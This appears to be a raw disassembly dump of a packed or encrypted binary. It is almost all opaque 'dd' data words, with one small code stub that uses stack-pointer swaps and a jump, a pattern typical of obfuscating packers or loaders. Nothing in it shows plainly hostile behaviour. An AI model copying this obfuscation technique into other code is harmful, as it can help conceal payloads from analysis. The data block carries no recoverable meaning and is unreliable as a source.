dd 15668B55h, 0E7D2C109h, 1213247Ch, 13AB94B9h, 2E218E7Ah
dd 5B94F8B7h, 9E615734h, 5D708CB7h, 905DCF34h, 1328B68Ah
dd 90ED2547h, 132E2357h, 0D5E3B375h, 60600AC0h, 0B8E3A935h
dd 52605928h, 0E7A20D09h, 1213427Ch, 328FA7B9h, 2E21177Ah
dd 5B9440B7h, 9E613134h, 5D706BB7h, 905D5634h, 13287AFEh
dd 90ED4347h, 132E00EFh, 0C5E32A75h, 6060C6C0h, 74E3CF35h
dd 52606A21h, 0E7B29409h, 12138E7Ch, 0E6FC1B9h, 2E21247Ah
dd 5B94C9B7h, 9E61FD34h, 5D6935B7h, 905D6534h, 1328E3D2h
dd 90ED8F47h, 132E6DA7h, 0C9E31975h, 60605FC0h, 0E8DB0B22h
dd 15600C35h, 90ED2547h, 132E1D1Bh, 98DB0B75h, 15600C3Fh
dd 905D2D46h, 1328E25Ah, 90ED8F47h, 132E4C53h, 10DBA175h
dd 1560592Dh, 0A8E5FA46h, 132E40BFh, 2E0F5632h, 5B955DB7h
dd 9E61FD34h, 5D72C9B7h, 905D6534h, 1328E26Eh, 90ED8F47h
dd 132E62C7h, 45E31975h, 60605FC1h, 98E30335h, 52600C21h
dd 0E606A709h, 1213177Ch, 1170DB9h, 2E21427Ah, 5B9546B7h
dd 9E616434h, 5D677DB7h, 905D0334h, 1328D166h, 90ED1647h
dd 132E9D5Fh, 4DE37F75h, 60606CC1h, 0D0E39A35h, 5260C036h
dd 11EBF9B1h, 1A66247Ah, 15641BB6h, 0F1E3B332h, 60600AC0h
dd 74E3A935h, 52605926h, 0E61E0D09h, 1213427Ch, 12B7A7B9h
dd 2E21177Ah, 5B9460B7h, 9E613134h, 5D6C0BB7h, 905D5634h
dd 13287ADEh, 90ED4347h, 132E21D3h, 0E5E32A75h, 6060C6C0h
dd 0D8E3CF35h, 52606A15h, 0E7929409h, 5138E7Ch, 129BF9B1h
dd 6066247Ah, 7CE39A35h, 5260C035h, 0E79EC109h, 1213247Ch
dd 63794B9h, 2E218E7Ah, 5B94B8B7h, 96765734h, 5D61EC8Fh
dd 12138834h, 1A2FC1B9h, 2E21247Ah, 5B9511B7h, 9E61FD34h
dd 5D7D61B7h, 905D6534h, 1328E236h, 90ED8F47h, 132E412Fh
dd 19E31975h, 60605FC1h, 0E8DB0B22h, 15600C35h, 90ED2547h
dd 132E1117h, 1DE3B375h, 60600AC1h, 0E8DBA122h, 15605935h
dd 90ED8F47h, 132E4A7Fh, 5E31975h, 60605FC1h, 90E30335h
dd 52600C3Fh, 0E672A709h, 1213177Ch, 15F0DB9h, 2E21427Ah
dd 5B953AB7h, 9E616434h, 5D4929B7h, 905D0334h, 1328D12Eh
dd 90ED1647h, 132E9F0Fh, 35E37F75h, 60606CC1h, 1CE39A35h
dd 5260C028h, 0E642C109h, 1213247Ch, 261394B9h, 2E218E7Ah
dd 5B956CB7h, 9E615734h, 5D48C4B7h, 905DCF34h, 1328B71Eh
dd 90ED2547h, 132E1777h, 0ACE3B375h, 60600C02h, 0ACE3A935h
dd 52605910h, 0E6560D09h, 1213427Ch, 253BA7B9h, 2E21177Ah
dd 5B95E4B7h, 967F3134h, 5B95568Fh, 1C131134h, 1CC735B1h
dd 6166427Ah, 0A8E3A935h, 5260591Dh, 0E6160D09h, 0C13427Ch
dd 0E6129FB1h, 6066177Ch, 0B4DB0B3Bh, 15600C3Bh, 90ED2546h
dd 132E0893h, 21E3B375h, 60600AC1h, 0CE3A935h, 52605919h
dd 0E65E0D09h, 1213427Ch
dd 2503A7B9h, 2E21177Ah, 5B95B4B7h, 9E613134h, 5D47EBB7h
dd 905D5634h, 13287B72h, 90ED4347h, 132E301Bh, 51E32A75h
dd 6060C6C1h, 98E3CF35h, 52606A19h, 0E62E9409h, 12138E7Ch
dd 107C1B9h, 1E21247Ah, 10E21ECDh, 0FC668832h, 0EA99BFD8h
dd 1E6FA709h, 9069177Ah, 15668839h, 8780C1BFh, 0C68F247Ch
dd 2E99EEC9h, 5D6CFDB7h, 0DE34B34h, 96662232h, 5B94788Fh
dd 90698934h, 15664439h, 0F345A7BFh, 0BA8F116Ah, 2E9977C9h
dd 5B94E0B7h, 19E22D34h, 2E661132h, 5B9420B7h, 10E34B34h
dd 0FC662232h, 0EA99EAA0h, 1566888Ch, 1498C732h, 1523A73Dh
dd 905D1132h, 13287AAAh, 156DC13Dh, 90EB2232h, 153E73D6h
dd 0EA9DE5DBh, 89E37FCDh, 1A606CC0h, 15661AB7h, 4FE30532h
dd 0FC661C51h, 0EA99D964h, 0E7C69409h, 90698E7Ch, 15664439h
dd 76F9A7BFh, 2A8F116Ah, 9E9977C9h, 1567FAF2h, 0E36D2232h
dd 1563943Dh, 368F8832h, 9E99BBC9h, 0F4D3ABC2h, 9C605900h
dd 5D56C187h, 0FC58C434h, 1540A73Dh, 6BED1132h, 9E988B33h
dd 15A5C5ECh, 2E662272h, 5D54F08Fh, 1DE48734h, 2E664432h
dd 10E02DC9h, 0FC661132h, 0EA9972D4h, 3ED3F9B9h, 90A1247Ah
dd 132E1237h, 15668832h, 5CD3CD52h, 98606A02h, 5A6BBDAFh
dd 1AB57734h, 156666B0h, 4DFBAF32h, 0EA605CAFh, 0CBE587E1h
dd 9E99BBCDh, 5D566B87h, 10D39834h, 9860C031h, 5B2AF3AFh
dd 9EB5DD34h, 5D54F0B7h, 5CE30134h, 74600C02h, 1F73BFBFh
dd 0C699177Dh, 199B15BFh, 0C699427Dh, 156AA13Dh, 90E51132h
dd 132EB87Bh, 0EAB8AD37h, 88EBDDCDh, 13291C14h, 96695BCDh
dd 1566443Ah, 0FC62E0B1h, 15661100h, 883E15BFh, 0C699427Fh
dd 156DA13Dh, 0A0ED1132h, 132EB87Bh, 1561C4DBh, 5CEBA932h
dd 9C605902h, 5D56C187h, 0E2A86F34h, 0E69709EBh, 0EAF0F896h
dd 88EB77CDh, 1328093Dh, 0D2EDF1CDh, 3ED39419h, 90EF8E7Ah
dd 132E41C7h, 3ED3A7B9h, 4531177Ah, 58E205BFh, 0C499427Ch
dd 0AFA7B9h, 4236177Ah, 3ED30DB9h, 9836427Ah, 5B2B91BFh
dd 9EB7EE34h, 3EAE03E2h, 5D738DBFh, 0BCDBA134h, 15605902h
dd 154D0C3Dh, 90ED4432h, 132E0D3Bh, 25CF9419h, 0D45D8E7Ah
dd 1571C23Dh, 90ED2232h, 132E21E7h, 25CF0D31h, 90EF427Ah
dd 132E394Bh, 156652DBh, 0D4EDD932h, 1A99497Ah, 9C262232h
dd 5D4918B7h, 0C0E38934h, 0D2600C2Eh, 5D568BB7h, 15661134h
dd 7D26E232h, 15665432h, 0EA664863h, 5D7370A7h, 0D8F37734h
dd 9C600C36h, 5D56F7B7h, 6CE39834h, 4C60C029h, 0E1FF1CDh
dd 0A099247Ah, 132E04FBh, 0A0D37765h, 98600C19h, 5B3467B7h
dd 14B6EE34h, 5D5621BFh, 6CDBCF34h, 9E606A29h, 5D73D887h
dd 9EC27B34h, 5D629987h, 53A18F34h, 156611CEh, 10A64932h
dd 20108337h, 50E32102h, 9E605921h, 5D7DF1BFh, 0B86ECD34h
dd 159A64F5h, 9C661132h, 5D625587h, 0EA9EC734h, 1546A73Dh
dd 2BE71132h, 0C8BB55EFh, 1572C13Dh, 13A12232h, 15661132h
dd 9C624EB1h, 5D629987h, 0E380CB34h, 0D5A7EECDh, 50E38B31h
dd 96600C21h, 5D6B338Fh, 91691034h, 156688AFh, 0BFCC7AB3h
dd 90698898h, 15661120h, 0D2624EB1h, 1566B874h, 0A5F12232h
dd 1565F8DBh, 0A5F18832h, 0A8E514DAh, 132E2B93h, 2BE21E33h
dd 0AD668832h, 15664532h, 0E7D69FB1h, 1A66177Ch, 156680B6h
dd 93FBC932h, 0EA606C67h, 855991E1h, 156E0C3Dh, 0D2E54432h
dd 1525CB37h, 0EDE51132h, 1FE48762h, 0A5664432h, 0BF3E88A2h
dd 156635DBh, 95CCD032h, 1A8FBB4Dh, 15663AB7h, 0A5DB9232h
dd 1560C6C0h, 156EC03Dh, 88EB2232h, 13284464h, 52EE5BCDh
dd 6CE3CF36h, 3E606A29h, 118E92F5h, 53A12599h, 156644CEh
dd 0EA77CB32h, 0A0EFEECDh, 132E8CEFh, 95662C60h, 150C2232h
dd 36C7A4CDh, 80998E7Ah, 132E4EC7h, 6CEBA968h, 0D260593Dh
dd 15668833h, 11A7C732h, 1A1FAFBBh, 58F177Ah, 0FC9977C7h
dd 15664296h, 6CEBA952h, 9E60593Dh, 0B9EB013Bh, 94600AC0h
dd 51326C0Ah, 9E31E7Eh, 73668832h, 59623CB3h, 5E32D1Ch
dd 9E661132h, 13A00BC2h, 271BC1B9h, 138F247Ah, 9E661133h
dd 26B603C2h, 155AE8FBh, 153BA63Dh, 385A1132h, 0EA890C3Dh
dd 3B5ABBCDh, 155BA63Dh, 255A1132h, 14660A3Dh, 2C5A4432h
dd 0EAB1A43Dh, 545AEECDh, 15960A3Dh, 4F5A4432h, 0EAA1A43Dh
dd 4A5AEECDh, 0EAD90C3Dh, 745ABBCDh, 15BEA03Dh, 6F5A1132h
dd 0EAC90E3Dh, 0DE8FBBCDh, 57662232h, 9169C709h, 156688F0h
dd 8F8F0578h, 9099DDCDh, 0A6E21EFBh, 98668832h, 5D621987h
dd 9EACA934h, 0BB48A1C8h, 0EA9F0D3Dh, 0DA4DBBCDh, 0EC4DFBC5h
dd 0B195E6B5h, 1599CFF4h, 113BD1BFh, 90ED247Ah, 132E1727h
dd 906948B7h, 15664428h, 1A9FA7F4h, 7D21177Ah, 0C1FC2FE0h
dd 3CCFF1CDh, 90EB247Ah, 132D6E52h, 0EA3458CDh, 1AA6C1E2h
dd 15661AB7h, 0F8E39A32h, 9060C02Bh, 0FE34BF2h, 0D3662232h
dd 5D69E8B7h, 0FC0EC434h, 0EABF9E2Eh, 5D4F8B87h, 75E39C34h
dd 0EA60C34Dh, 0C59916E2h, 9069E2B7h, 15661137h, 1566A9DBh
dd 0B9E3CD32h, 45606CC0h, 10E39C64h, 0EA60C348h, 1AA64FE2h
dd 156627B7h, 1562F832h, 51EF8832h, 0D6075816h, 0B9EBA952h
dd 45605FC0h, 556549B9h, 9DF6CF0Eh, 9C662232h, 5D5788A7h
dd 159E8D34h, 45ED4432h, 0E8F3AB3Eh, 4D605937h, 3142CCB9h
dd 905D8519h, 132E27CFh, 1576933Dh, 905D8832h, 132E75ABh
dd 1562A13Dh, 0D7071132h, 0D2078836h, 15666036h, 51A12232h
dd 15661516h, 10DE8832h, 98664432h, 5D28A2BFh, 7587EE34h
dd 0FC5A8EB8h, 1558C03Dh, 0FD5A2232h, 1524953Dh, 1A5A8832h
dd 1574C03Dh, 0D85A2232h, 1559953Dh, 0FE5A8832h, 152FC03Dh
dd 0D6072232h, 95674FB8h, 0EEE678D1h, 0FAE34BB2h, 9E99DDCDh
dd 13A592ECh, 0FC64D631h, 15664426h, 96677CB9h, 9169EAC9h
dd 1566881Bh, 4B659AB9h, 10A5A133h, 0EA99D8DBh, 4BD087CDh
dd 3B8DC733h, 0EADAA63Dh, 1F8FEECDh, 95668832h, 1A98454Ch
dd 0EA998FB7h, 0EA06F8CDh, 443077CDh, 0D5551361h, 95BEA89Eh
dd 0EEE6E1D1h, 0F9E28742h, 29664432h, 30E22D3Dh, 29661132h
dd 91E287DBh, 29664433h, 0E22DD9h, 29661130h, 64E287D1h
dd 29664432h, 56E22DD0h, 4A661130h, 0D638D169h, 0E61AC1F5h
dd 1560247Ch, 0BEC1132h, 95966BB2h, 9069C4C9h, 0EA99DDD1h
dd 0F4E39A7Ch, 9E60C000h, 5D6541A7h, 96B8A934h, 4B6517F1h
dd 1ABEB330h, 15664CB0h, 1ABC1932h, 0EA99AFB4h, 96B9A3CDh
dd 0B80042D9h, 0BEF58954h, 9C62D7B1h, 61EFAC0Eh, 0A0EF4816h
dd 132E127Bh, 4B3F4A6Dh, 0FC624CB1h, 0EA99BE52h, 0E61AA7F5h
dd 1564177Ch, 0CBED8832h, 9568F23Dh, 9669A2CBh, 1566113Ah
dd 0FC255131h, 1566443Fh, 0E299CBB2h, 0EA8790EBh, 3E668832h
dd 0F4E3CFEBh, 9E606A00h, 5D6514A7h, 40DB0B34h, 14600C2Ah
dd 15C5A63Dh, 0CD5D1132h, 15FD0A3Dh, 0CF5D4432h, 0EA27A03Dh
dd 9B8FEECDh, 0D2668832h, 5B9538B7h, 15662034h, 1AB89A32h
dd 0ECE68684h, 1DE54BB2h, 16662232h, 188F52EBh, 95668832h
dd 0CC91BBDBh, 1599C3B3h, 0CC4D1132h, 27870DB9h, 80ED427Ah
dd 132E2137h, 0D33ACB1h, 1A678E7Ah, 15660CB6h, 1ABE1932h
dd 156619B0h, 1ABCB332h, 0EA98A2B4h, 1AD66CCDh, 0A5689B98h
dd 1A8708B2h, 3ECC8538h
dd 118DA1EDh, 0D3E5BAA1h, 5CD30130h, 0D2600C02h, 5D7E77B7h
dd 15661034h, 11A20B32h, 0D1E51D69h, 11A2A136h, 0EA9F66DBh
dd 0FCD6C6CDh, 3EA0CF98h, 118EA1F5h, 11A29299h, 9638D169h
dd 0D28F40F6h, 0D299DDCBh, 5B956DB7h, 15668D34h, 96B8CF32h
dd 0B6526F1h, 278794B9h, 80ED8E7Ah, 132E4737h, 0E0DBA17Ch
dd 1460591Bh, 14650C3Dh, 0CD5D4432h, 156EA03Dh, 0CF5D1132h
dd 154D0E3Dh, 0A0EF4432h, 132E127Bh, 0E61A8CB9h, 49678E7Ch
dd 0CB8F4816h, 4A662232h, 3C9394F5h, 15678E7Ah, 4C3D4432h
dd 11A2A16Ch, 0EA9EE6DBh, 40DB0BCDh, 14600C2Ah, 15DDA63Dh
dd 884D1132h, 132EBAD3h, 3ED3C9B9h, 0DE65247Ah, 0FCE5DE19h
dd 0BF8F3837h, 0D1E5EFA3h, 4B3F7936h, 0FC62D5B1h, 0EA99711Ch
dd 0E61AC1F5h, 1564247Ch, 0CBED1132h, 95683E3Dh, 9669C4CBh
dd 1566223Ah, 0FC25C831h, 1566883Fh, 0E299ADB2h, 0EA87A3EBh
dd 3E661132h, 0F4E303EBh, 9E600C00h, 5D6527A7h, 0EA20F834h
dd 90A177CDh, 1328B74Eh, 15662230h, 0A369CFB9h, 959F083Ch
dd 156EC73Dh, 0CC652232h, 156BF871h, 0FCE68832h, 94BFB3CDh
dd 1566DDD3h, 9EBF3A32h, 5D5469B7h, 10F3CF34h, 96606A31h
dd 5D7E448Fh, 91698934h, 0EA99BAFBh, 9769FA09h, 1566113Ah
dd 93695209h, 0EA99B955h, 3EA8A97Ch, 108F92FDh, 84CC6182h
dd 0EDEEAD99h, 13ECDDCDh, 9169F90Eh, 15668834h, 157EADCAh
dd 9E352232h, 143812ECh, 0A5634BB1h, 0CA4DEEDAh, 8662C9B1h
dd 0D3E54A99h, 44A57137h, 2960CF54h, 55E22DF1h, 29661132h
dd 2DE287F9h, 29664432h, 2DE22DF0h, 29661132h, 25E287F8h
dd 73664432h, 1A43DD0Fh, 156621B6h, 3B5BEE32h, 18E34BCDh
dd 9F662232h, 0E5421374h, 9169280Eh, 15664411h, 2C8FDA6Bh
dd 26661132h, 0C8FC9FBh, 0AC664432h, 15662231h, 15661EDBh
dd 15603132h, 108F4432h, 0AC662232h, 15661135h, 98ED2CC1h
dd 132E4737h, 9069EBB7h, 15661134h, 16633DBBh, 0EC3F427Ah
dd 13ED44F1h, 9169D20Eh, 15668857h, 0F6E69CB8h, 659DA2C2h
dd 15FA953Dh, 0FC5A8832h, 1529C03Dh, 0FE5A2232h, 1521953Dh
dd 0D75A8832h, 1559C03Dh, 0DE5A2232h, 1551953Dh, 28008832h
dd 916961CDh, 1566221Fh, 9169DB0Eh, 15668817h, 9169A70Eh
dd 15662250h, 0EA482C54h, 156B0D3Dh, 53EC4432h, 29960630h
dd 13E21E92h, 0ED668832h, 15664BDBh, 10D3AB32h, 98605931h
dd 5B2A3FAFh, 0ECB5BB34h, 53ED72F1h, 0D4E39822h, 4D60C01Bh
dd 987A82B1h, 5D70E78Fh, 5165BC34h, 98CDAC16h, 5D74018Fh
dd 51658F34h, 0BE363516h, 364735BFh, 16CB427Ah, 0BE4E0676h
dd 9830D26Ch, 5B2A18AFh, 0FCB5BB34h, 0FFFFFF95h, 0D24ECEDFh
dd 0FD4AA86Ch, 51A2458Ah, 7C0D5F2h, 96A40B55h, 152AA8EDh
dd 2429458Ah, 1957DFA0h, 5E917926h, 152A1E2Ch, 5E89798Ah
dd 152A162Ch, 5ECA798Ah, 152A492Ch, 5E13798Ah, 152A382Ch
dd 5EF2798Ah, 152A5C2Ah, 5EFA798Ah, 152A6B2Ah, 51D6AC8Ah
dd 60D554A8h, 59D7BA86h, 0CF6DCE25h, 0DCF143C4h, 5BF14A32h
dd 0D871BA8Ch, 42C3A8EDh, 0AEA2458Ah, 60D558DDh, 638C882h
dd 462C1A72h, 8ABCDF07h, 0C6D552E6h, 0B85E0003h, 0E9835492h
dd 8BA4F305h, 0BA31E4CBh, 565DB1DAh, 0BC2FEB32h, 5019E5DEh
dd 54113C52h, 0DDD3FF7Bh, 5163B977h, 0DF79F4B9h, 1331B575h
dd 5A1A3822h, 0DFBAF4B9h, 9F36A175h, 36ABA1F0h, 592C34F4h
dd 5E9837Ah, 0F1B0A4F3h, 7AF29D11h, 0FB2375FDh, 340BD717h
dd 3FD525FBh, 0F7ADFDF5h, 22913B4Bh, 7ACFB734h, 29B723ACh
dd 7A1A20ADh, 277975FDh, 0CD7F987Ch, 0FFA073B3h, 7C61C3E9h
dd 0E983C87Dh, 8BA4F305h, 88BD8DDBh, 8D064EF3h, 4F0E6F8Dh
dd 6644B806h, 0CF2B3215h, 3102E9C1h, 83C8D007h, 0F4904C7h
dd 0FFFFF285h, 83C08BFFh, 481299BDh, 9750006h, 0D35BD83h
dd 74000648h, 8B535019h, 411B8C0h, 85890000h, 6482FF9h
dd 0A4CB9D8Dh, 0D3FF064Ah, 0BD83585Bh, 6480D35h, 50177400h
dd 411B853h, 85890000h, 6482FF9h, 0A16C9D8Dh, 0D3FF064Ah
dd 0C08B585Bh, 72A4F2BBh, 5E846h, 35F20000h, 81E96FA0h
dd 0E1B85BD3h, 56B35F4Ah, 60A3C781h, 0B9600000h, 14E65762h
dd 12DF57BFh, 0B8613Fh, 53000000h, 0CE9h, 92857700h, 8A0F4EFDh
dd 4C979402h, 348B5A36h, 9E907h, 0C0FD0000h, 2B4D6D13h
dd 814DA721h, 5D7D2AC6h, 8E96Ch, 75CA0000h, 0BAC55451h
dd 0EE81D47Dh, 5CC66314h, 0C6816BB1h, 860986Dh, 28D0Fh
dd 0DF8B0000h, 0E9073489h, 14h, 5CC9EF29h, 94A8F99Eh, 3B98FC25h
dd 53A66BA5h, 9A70F510h, 4CE4C281h, 0E88360BDh, 0F7816001h
dd 6A0B47ADh, 0CE860h, 0FBE40000h, 53B45A6Fh, 2417C33Eh
dd 605E0081h, 48616161h, 0D9814848h, 5E47715h, 0A028F881h
dd 850FFFFFh, 0FFFFFF6Eh, 0CC54CCBAh, 0FE04EB23h, 0E97DEC36h
dd 494h, 0BCDCD352h, 254742E0h, 0A9CBD669h, 1C7C75FDh
dd 87E5E480h, 832F177Ch, 10B6E28Eh, 0BE3B5735h, 26CDD9BBh
dd 0FB924123h, 7342E5A3h, 0BA6DF37Ch, 120FFE85h, 7FB12616h
dd 0B7C5B233h, 849D250Bh, 8A296507h, 1A2FE8Fh, 7BF99302h
dd 0F060017Eh, 66077473h, 53D1A3D0h, 58125956h, 0BFBA39E3h
dd 512DC4DDh, 76244B17h, 0A474DAA5h, 2E7A0619h, 84C49A83h
dd 0B076244Ah, 2641332Eh, 26B8C8B9h, 0B63E4A3Bh, 880908A8h
dd 0F0AA9FBh, 0AE1DD17Eh, 9F4C0E69h, 0CBA9A855h, 205154DFh
dd 244AD392h, 60197C76h, 63C534AFh, 4CF7652Ch, 0D37B3849h
dd 19022299h, 0C3DDE165h, 70h, 0FBFE8558h, 327A3C8Ah, 19D57624h
dd 8AE47BA2h, 762432CEh, 99359D1Ah, 0DDE10E62h, 44045AF1h
dd 9076243Fh, 19FBF17h, 4000000h, 6BFAFF85h, 32BEFAD4h
dd 6D0A7624h, 58DAB6C5h, 0D45C2C5Dh, 0E85ACDDh, 5DF5F072h
dd 0CE74BC63h, 83F8A9CBh, 0DAB44A22h, 7624809Eh, 32384D2Ah
dd 6BB546E4h, 810B8C3h, 9899198Bh, 74248AEBh, 0BA8C8CFh
dd 8BF8F985h, 17E7BF9h, 90580779h, 1B771514h, 9CEC9D98h
dd 0F2891C0Bh, 2432DC9Ch, 278FE876h, 7C7BF888h, 0FEEB7D0Fh
dd 0BF0AA81h, 0FEAD19F2h, 0E1103DD6h, 58E7DDh, 853C0000h
dd 0D66DF8F9h, 2432C0F8h, 0F4700C76h, 66E784F5h, 4ED1A3D0h
dd 8A28C453h, 0C4B1FE8Fh, 9240E134h, 0FFFC5284h, 935906F4h
dd 1A761217h, 9EEA9B9Eh, 616A1B16h, 0F51E36F5h, 2FDDE103h
dd 3Dh, 0F8F98574h, 504DD36Dh, 2AFFDFAh, 1DD17E0Fh, 0FBFE7AAEh
dd 0B80FA99h, 0E45A8E1Eh, 0C24EE4AFh, 86542520h, 76251ABFh
dd 0C96B0590h, 58FEBFCCh, 948FB966h, 4EDDE1E6h, 1, 0F1E285D5h
dd 2432DB9Dh, 18EE976h, 84832070h, 0A73950F7h, 0C3740500h
dd 44BB0D7Dh, 0AF0784B4h, 59A4E3Dh, 29127A06h, 0EF9AF463h
dd 0FB7C6D2Ah, 24B8CFBCh, 0F9346C9Fh, 73DD7140h, 37BC5CF2h
dd 0BF445030h, 3B7BCBB8h, 9E7C6CEDh, 3EC56FDCh, 0A64D593Bh
dd 3DC6D2A3h, 0A43B4926h, 3DB8C8B9h, 7B354D3Ah, 0E5D74F84h
dd 7271F226h, 0B49D8616h, 2E47DBA9h, 0DC000001h, 4F5AEC80h
dd 5D9713Eh, 0A905903Ah, 7C6C416Ch, 8C9B2C78h, 81227E0Fh
dd 0FD791382h, 5B4A56FCh, 17512DC4h, 0A57C6C41h, 40CC8CDAh
dd 6B187C6Ch, 0BA9BB75Dh, 258D0A7Ah, 46D8CE75h, 0CC4D2A5Bh
dd 4346EDBFh, 0AD126C32h
dd 9BF9FC87h, 0A91308F3h, 47D2DBh, 0B9490000h, 0B24ED97Bh
dd 27443530h, 40A8068Fh, 0AC762433h, 0E1BD54C3h, 762432A7h
dd 0DFDA5935h, 0EA40C1AEh, 333B7DCDh, 6A407624h, 0AF6553B5h
dd 33726638h, 0B1FE7624h, 532BC2D3h, 76243315h, 406EC4A3h
dd 91h, 0DC7EB9C7h, 4EBC7549h, 6F087C6Ch, 0E2E1821Eh, 6A690A86h
dd 46118A1Dh, 0F6A7727Dh, 80C39139h, 0BB7C6CD4h, 0EE8BB7ECh
dd 46AC4A9h, 0A54F3CAEh, 11791B1Eh, 5AF16426h, 1BD7BB21h
dd 6CF30543h, 0A3D4D37Ch, 0B71F08CDh, 0BBD22919h, 0B3494282h
dd 0F434C1BDh, 15921EB4h, 686F1464h, 0ECED891Bh, 6F7A0D9Fh
dd 4936881Eh, 22BED5B0h, 0B0F18E9Dh, 0DFBA01Ah, 66FD6832h
dd 0D2DD34CAh, 7C09E6C8h, 0E6F45ADBh, 7C7A5F6Ch, 700C9BE4h
dd 435FF7F2h, 0DC7EB9A0h, 43FD7549h, 2C4B7C73h, 0A3A64D5Fh
dd 2B2ED5C1h, 77BFC7BCh, 0EBEFD9F5h, 8FFCFD79h, 9B2B48EEh
dd 0F816FE17h, 27CDB268h, 0AFFB999Ch, 20700104h, 55F08180h
dd 65F726E5h, 0A672D8D9h, 6A6F151Dh, 90138FEDh, 0C36E0295h
dd 3E4966CCh, 70011CA2h, 31D9B33h, 7A000000h, 0FC85DA41h
dd 7F0494E5h, 0FC790B78h, 6AFC8CFDh, 0F6720E7Fh, 4AF682F3h
dd 0CA6A0677h, 55EA86F7h, 0C96B3976h, 52B9BFCCh, 0C281E289h
dd 4, 4EA81h, 14870000h, 2C895C24h, 661E6824h, 34890000h
dd 4EC8324h, 55242C89h, 652191BDh, 3268BE28h, 0C6812EB4h
dd 5DEC784Ch, 0EE81EE29h, 5DEC784Ch, 27EC685Dh, 24890000h
dd 24048324h, 8F685D04h, 89000048h, 458F2434h, 242C8B08h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
mov esi, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_541331
; ---------------------------------------------------------------------------
dd 0A0D524ABh, 640012CFh, 4F14E2B8h, 0FFC50306h, 6C714AE0h
dd 0B08B5C53h, 0E41CD136h, 0A5030F15h, 58F1F752h, 2904BA69h
dd 29B09733h, 0B77CE22Ah, 0CE57C86Dh, 3B12834Eh, 0CE42A005h
dd 0D0B4AD19h, 90C5E57Ah, 667DB540h, 0EDF3CB48h, 4F51EB68h
dd 6478622Eh, 549A851Ah, 0AA77DF4Fh, 9504EB3Ch, 0E93DA366h
dd 5AEh, 0C8A8A74Eh, 315356DCh, 0A5C7C265h, 284849E9h
dd 93F1F07Ch, 9F1B2370h, 1CA2FE9Ah, 8A376301h, 3AB9D5B7h
dd 0EF865D3Fh, 7347D99Fh, 0C641E77Ch, 8AFBFE85h, 0C7C261FBh
dd 207A36Fh, 7F7AF993h, 54DFCBD7h, 0BE552051h, 2432A8E0h
dd 0E34B3476h, 0F8898C37h, 949113ADh, 750A86E7h, 32981996h
dd 0A8D9DC66h, 0CB12C981h, 331E5A34h, 0CDAA7624h, 0AEDFD25Fh
dd 0AA969C1h, 0B4316D0Fh, 3EBBD7B5h, 0A83E4A3Bh, 3295D3ABh
dd 44237624h, 34BC50C7h, 3315532Bh, 0C4A37624h, 60BD3647h
dd 0B064945Eh, 204FE764h, 0A4D5D450h, 6E4029D4h, 76251A2Ah
dd 3B48C9B6h, 9D520963h, 598378FAh, 2124CEDCh, 3FD1C0A0h
dd 0AFCCBDA8h, 0EDE88B07h, 1C72099Ch, 7625195Ch, 29A70F68h
dd 7625196Ch, 82EF0698h, 0A6D0B683h, 96E29310h, 4E6512F1h
dd 1162F9Ch, 0E9AFFF96h, 0F0762523h, 61334A05h, 9611635Fh
dd 0F7D18EC0h, 0DDE1360Ch, 60610D9Fh, 103C9213h, 41h, 0FBFE858Bh
dd 327A3C8Ah, 19D57624h, 5EE17BA2h, 0DD753243h, 0E10E5AC1h
dd 180DDh, 851B0000h, 0FF8DFAFFh, 71037075h, 0A883F0F1h
dd 5DE70DF2h, 0D2693858h, 2432BCFCh, 0C76F0876h, 0CFADA84Bh
dd 0EEF98524h, 2432D890h, 1A9BE476h, 83951F6Dh, 1794E5E0h
dd 0C56DFF96h, 314966CCh, 0DC58807Fh, 40E3BFDDh, 333D7B53h
dd 0EC8B7624h, 0FD821E6Fh, 0C27C91EEh, 10E02B1Dh, 0A33ADDE1h
dd 61000000h, 0D395E980h, 0E1762432h, 0C4603086h, 0A9408B31h
dd 5CDDA30Bh, 0DFCA5D2Fh, 5550D2AEh, 0BAA85424h, 0CABB383Fh
dd 0A73F32BEh, 1AD116D5h, 0B531FBA0h, 3CB8D4B4h, 61F1AA3Dh
dd 34FD978Ah, 384867CFh, 752EB9B8h, 86D84CFEh, 76247DC2h
dd 0C214610Eh, 107102CFh, 5B2124D2h, 636C0BA3h, 0F71C08F7h
dd 64DDE12Dh, 6F3F28C8h, 76246A29h, 3A4BC8B7h, 4709D57Dh
dd 92000000h, 0D395E980h, 0E1762432h, 0C4603086h, 0A8E1B4C5h
dd 0FE1538DFh, 0A868CEA5h, 0DC7D0A0Dh, 0FB87AD12h, 34690012h
dd 94158BD3h, 0FF856FF4h, 66FA8DFAh, 6F6DC5C0h, 76243326h
dd 0DEF6B529h, 0DDE10E25h, 1FFh, 0E2852400h, 79FA96E7h
dd 7A54EB7Ah, 7624333Eh, 3645ED8Ah, 0B47C23AFh, 4543413h
dd 7137873Bh, 9F762432h, 6F1D08h, 849F1483h, 0A8AD5730h
dd 0A64F26DFh, 80298510h, 897C6C8Fh, 51532310h, 268C133Ch
dd 99CED8Ah, 5EF4D177h, 0A33231B2h, 0C66C6D09h, 4E45EEBAh
dd 0B7E5A131h, 6EE07C6Ch, 39C86BB1h, 5A377E01h, 6AC09E76h
dd 0F24AF2F4h, 0F894F475h, 54146A7Bh, 607C6C7Fh, 9BE98607h
dd 166C1D18h, 4338E7A4h, 0D18C6768h, 0A9661396h, 0A2C3CF97h
dd 46EDAD05h, 0A7D4D350h, 58461C32h, 0DB582988h, 659E3E5Ah
dd 0BFDBA960h, 164h, 0FAF97A16h, 7EB93354h, 0F9B249DCh
dd 0E4CB9FADh, 7693E496h, 62D682C5h, 0D3124016h, 0E77C6C75h
dd 1A99EB98h, 82217D1Fh, 1F9B1087h, 78315580h, 750205A0h
dd 901FB734h, 87D76E05h, 7C6C52C1h, 7632600Fh, 0A27C6C52h
dd 32730007h, 1913946h, 70166762h, 5FAE4BE5h, 0F7B7AD81h
dd 0E248C9A2h, 4AE933E8h, 968D2D4Fh, 5DBA9FBh, 8EE0CB6Bh
dd 7C6D2BCAh, 42E86916h, 5C9Ah, 7BB90100h, 80554ED9h, 0D1CC53EAh
dd 0B15C8A4h, 9B186974h, 8DE1B41Ah, 7624B51Bh, 6B30F7ACh
dd 1AA0DE44h, 20249110h, 8B23A0BCh, 63F380EFh, 76250F25h
dd 6D9B407Ah, 4C22B54Fh, 76250F5Ch, 7C6BFC88h, 76E16E0Fh
